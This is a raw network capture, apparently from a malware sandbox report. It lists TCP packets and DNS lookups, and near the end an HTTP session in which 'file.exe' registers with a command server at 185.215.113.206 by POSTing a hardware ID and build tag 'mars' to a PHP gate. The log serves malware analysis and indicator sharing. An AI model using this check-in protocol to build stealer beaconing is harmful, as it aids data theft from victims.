Nov 22, 2024 00:12:05.107346058 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:05.108669043 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:05.108700037 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:05.108736038 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:05.108774900 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:05.110003948 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:05.110047102 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:05.110050917 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:05.110090017 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:05.111349106 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:05.111393929 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:05.111433983 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:05.111449957 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:05.112713099 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:05.112761974 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:05.112802982 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:05.112858057 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:05.114176035 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:05.114221096 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:05.114269972 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:05.115417957 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:05.115508080 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:05.115534067 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:05.115550995 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:05.116760969 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:05.116811037 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:05.116852999 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:05.116897106 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:05.118077993 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:05.118128061 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:05.118184090 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:05.118237972 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:05.119381905 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:05.119426012 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:05.119452000 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:05.119503021 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:05.120688915 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:05.120800018 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:05.120846033 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:05.120887041 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:05.121990919 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:05.122096062 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:05.122175932 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:05.122230053 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:05.123292923 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:05.123388052 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:05.123435974 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:05.124735117 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:05.124780893 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:05.124792099 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:05.124821901 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:05.125945091 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:05.126009941 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:05.126104116 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:05.126157045 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:05.127244949 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:05.127320051 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:05.127360106 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:05.127415895 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:05.128546000 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:05.128602028 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:05.128705025 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:05.128767014 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:05.129875898 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:05.129929066 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:05.129956961 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:05.130234003 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:05.131165028 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:05.131208897 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:05.131256104 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:05.131369114 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:05.132450104 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:05.132479906 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:05.132499933 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:05.132515907 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:05.133805037 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:05.133851051 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:05.133922100 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:05.133965969 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:05.135118961 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:05.135168076 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:05.135221004 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:05.135459900 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:05.136421919 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:05.136471987 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:05.136523962 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:05.136563063 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:05.137696028 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:05.137794018 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:05.137811899 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:05.137837887 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:05.138998985 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:05.139056921 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:05.139106035 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:05.139239073 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:05.140328884 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:05.140394926 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:05.140438080 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:05.140486002 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:05.141613007 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:05.141688108 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:05.141710043 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:05.141870022 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:05.142909050 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:05.142965078 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:05.143085003 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:05.143142939 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:05.144229889 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:05.144293070 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:05.144325972 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:05.144455910 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:05.145598888 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:05.145643950 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:05.145966053 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:05.146120071 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:05.146823883 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:05.146939993 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:05.146948099 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:05.147001028 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:05.148140907 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:05.148264885 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:05.148292065 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:05.148309946 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:05.149456024 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:05.149583101 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:05.149637938 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:05.150767088 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:05.150825977 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:05.150885105 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:05.150934935 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:05.152072906 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:05.152124882 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:05.152172089 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:05.152242899 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:05.153348923 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:05.153409004 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:05.153506041 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:05.153565884 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:05.154653072 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:05.154707909 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:05.154769897 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:05.155185938 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:05.155978918 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:05.156022072 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:05.156039000 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:05.156063080 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:05.157272100 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:05.157346010 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:05.157391071 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:05.157444954 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:05.158581972 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:05.158641100 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:05.158649921 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:05.158678055 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:05.159887075 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:05.159940004 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:05.160001040 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:05.160049915 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:05.161185026 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:05.161247969 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:05.161315918 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:05.161361933 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:05.162516117 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:05.162617922 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:05.162632942 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:05.162677050 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:05.163799047 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:05.163844109 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:05.163911104 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:05.163959026 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:05.165160894 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:05.165266991 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:05.165318966 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:05.166397095 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:05.166455984 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:05.287359953 CET	443	49923	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:05.287626982 CET	443	49923	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:05.287688017 CET	49923	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:12:05.287735939 CET	49923	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:12:05.287736893 CET	49923	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:12:05.287756920 CET	443	49923	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:05.287769079 CET	443	49923	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:05.290726900 CET	49930	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:12:05.290770054 CET	443	49930	13.107.246.63	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 22, 2024 00:11:29.335843086 CET	192.168.2.5	1.1.1.1	0x9411	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 00:11:29.336059093 CET	192.168.2.5	1.1.1.1	0x71c	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 22, 2024 00:11:36.396732092 CET	192.168.2.5	1.1.1.1	0x78d1	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 00:11:36.397102118 CET	192.168.2.5	1.1.1.1	0x5eb9	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Nov 22, 2024 00:11:37.398418903 CET	192.168.2.5	1.1.1.1	0xb7a7	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 00:11:37.398602009 CET	192.168.2.5	1.1.1.1	0x749b	Standard query (0)	play.google.com	65	IN (0x0001)	false
Nov 22, 2024 00:11:41.724116087 CET	192.168.2.5	1.1.1.1	0xe961	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 00:11:41.724565029 CET	192.168.2.5	1.1.1.1	0xaab8	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Nov 22, 2024 00:11:44.643850088 CET	192.168.2.5	1.1.1.1	0xe2fa	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 22, 2024 00:11:44.644438028 CET	192.168.2.5	1.1.1.1	0xd4f6	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Nov 22, 2024 00:11:45.354477882 CET	192.168.2.5	1.1.1.1	0x5110	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 00:11:45.354649067 CET	192.168.2.5	1.1.1.1	0xfb8c	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Nov 22, 2024 00:11:45.788172960 CET	192.168.2.5	1.1.1.1	0x64b0	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 00:11:45.788590908 CET	192.168.2.5	1.1.1.1	0x40bc	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 22, 2024 00:11:45.788984060 CET	192.168.2.5	1.1.1.1	0xae80	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 00:11:45.789104939 CET	192.168.2.5	1.1.1.1	0x93c9	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 22, 2024 00:11:45.795181990 CET	192.168.2.5	1.1.1.1	0x5a8	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 00:11:45.795325041 CET	192.168.2.5	1.1.1.1	0x67d2	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 22, 2024 00:11:47.671274900 CET	192.168.2.5	1.1.1.1	0xfbb1	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 00:11:47.671541929 CET	192.168.2.5	1.1.1.1	0x1fb3	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Nov 22, 2024 00:11:47.716478109 CET	192.168.2.5	1.1.1.1	0x1bd3	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 00:11:47.716669083 CET	192.168.2.5	1.1.1.1	0xadb2	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Nov 22, 2024 00:11:47.808908939 CET	192.168.2.5	1.1.1.1	0x7f40	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 00:11:47.809129000 CET	192.168.2.5	1.1.1.1	0x401b	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Nov 22, 2024 00:11:47.987551928 CET	192.168.2.5	1.1.1.1	0xb95f	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 00:11:47.993526936 CET	192.168.2.5	1.1.1.1	0x89d2	Standard query (0)	api.msn.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 22, 2024 00:11:29.470005035 CET	1.1.1.1	192.168.2.5	0x9411	No error (0)	www.google.com		172.217.21.36	A (IP address)	IN (0x0001)	false
Nov 22, 2024 00:11:29.471327066 CET	1.1.1.1	192.168.2.5	0x71c	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 22, 2024 00:11:36.534122944 CET	1.1.1.1	192.168.2.5	0x78d1	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 00:11:36.534122944 CET	1.1.1.1	192.168.2.5	0x78d1	No error (0)	plus.l.google.com		142.250.181.110	A (IP address)	IN (0x0001)	false
Nov 22, 2024 00:11:36.535413980 CET	1.1.1.1	192.168.2.5	0x5eb9	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 00:11:37.536504030 CET	1.1.1.1	192.168.2.5	0xb7a7	No error (0)	play.google.com		172.217.19.238	A (IP address)	IN (0x0001)	false
Nov 22, 2024 00:11:41.860899925 CET	1.1.1.1	192.168.2.5	0xe961	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 00:11:41.866283894 CET	1.1.1.1	192.168.2.5	0xaab8	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 00:11:42.126351118 CET	1.1.1.1	192.168.2.5	0xd7be	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 00:11:42.176280975 CET	1.1.1.1	192.168.2.5	0x70ff	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 00:11:42.176280975 CET	1.1.1.1	192.168.2.5	0x70ff	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Nov 22, 2024 00:11:44.777033091 CET	1.1.1.1	192.168.2.5	0xe2fa	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 00:11:44.878083944 CET	1.1.1.1	192.168.2.5	0xd4f6	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 00:11:45.488903999 CET	1.1.1.1	192.168.2.5	0x5110	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 00:11:45.488903999 CET	1.1.1.1	192.168.2.5	0x5110	No error (0)	googlehosted.l.googleusercontent.com		142.250.181.65	A (IP address)	IN (0x0001)	false
Nov 22, 2024 00:11:45.490475893 CET	1.1.1.1	192.168.2.5	0xfb8c	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 00:11:45.925645113 CET	1.1.1.1	192.168.2.5	0x64b0	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 22, 2024 00:11:45.925645113 CET	1.1.1.1	192.168.2.5	0x64b0	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 22, 2024 00:11:45.928580999 CET	1.1.1.1	192.168.2.5	0x40bc	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 22, 2024 00:11:45.928957939 CET	1.1.1.1	192.168.2.5	0xae80	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 22, 2024 00:11:45.928957939 CET	1.1.1.1	192.168.2.5	0xae80	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 22, 2024 00:11:45.931088924 CET	1.1.1.1	192.168.2.5	0x93c9	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 22, 2024 00:11:45.934329033 CET	1.1.1.1	192.168.2.5	0x5a8	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 22, 2024 00:11:45.934329033 CET	1.1.1.1	192.168.2.5	0x5a8	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 22, 2024 00:11:45.935163021 CET	1.1.1.1	192.168.2.5	0x67d2	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 22, 2024 00:11:47.806034088 CET	1.1.1.1	192.168.2.5	0xfbb1	No error (0)	sb.scorecardresearch.com		18.165.220.106	A (IP address)	IN (0x0001)	false
Nov 22, 2024 00:11:47.806034088 CET	1.1.1.1	192.168.2.5	0xfbb1	No error (0)	sb.scorecardresearch.com		18.165.220.57	A (IP address)	IN (0x0001)	false
Nov 22, 2024 00:11:47.806034088 CET	1.1.1.1	192.168.2.5	0xfbb1	No error (0)	sb.scorecardresearch.com		18.165.220.110	A (IP address)	IN (0x0001)	false
Nov 22, 2024 00:11:47.806034088 CET	1.1.1.1	192.168.2.5	0xfbb1	No error (0)	sb.scorecardresearch.com		18.165.220.66	A (IP address)	IN (0x0001)	false
Nov 22, 2024 00:11:47.854286909 CET	1.1.1.1	192.168.2.5	0x1bd3	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 00:11:47.854454041 CET	1.1.1.1	192.168.2.5	0xadb2	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 00:11:47.947706938 CET	1.1.1.1	192.168.2.5	0x401b	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 00:11:47.948734999 CET	1.1.1.1	192.168.2.5	0x7f40	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 00:11:48.120541096 CET	1.1.1.1	192.168.2.5	0xb95f	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 00:11:48.129149914 CET	1.1.1.1	192.168.2.5	0x89d2	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	185.215.113.206	80	5356	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 00:11:20.948908091 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 22, 2024 00:11:22.334830046 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:22 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 22, 2024 00:11:22.338792086 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCAFCAFHJJDBFIECFBKE Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 43 41 46 43 41 46 48 4a 4a 44 42 46 49 45 43 46 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 34 34 46 44 31 46 46 45 44 41 34 32 39 33 36 30 35 30 34 37 36 0d 0a 2d 2d 2d 2d 2d 2d 47 43 41 46 43 41 46 48 4a 4a 44 42 46 49 45 43 46 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 47 43 41 46 43 41 46 48 4a 4a 44 42 46 49 45 43 46 42 4b 45 2d 2d 0d 0a Data Ascii: ------GCAFCAFHJJDBFIECFBKEContent-Disposition: form-data; name="hwid"F44FD1FFEDA42936050476------GCAFCAFHJJDBFIECFBKEContent-Disposition: form-data; name="build"mars------GCAFCAFHJJDBFIECFBKE--
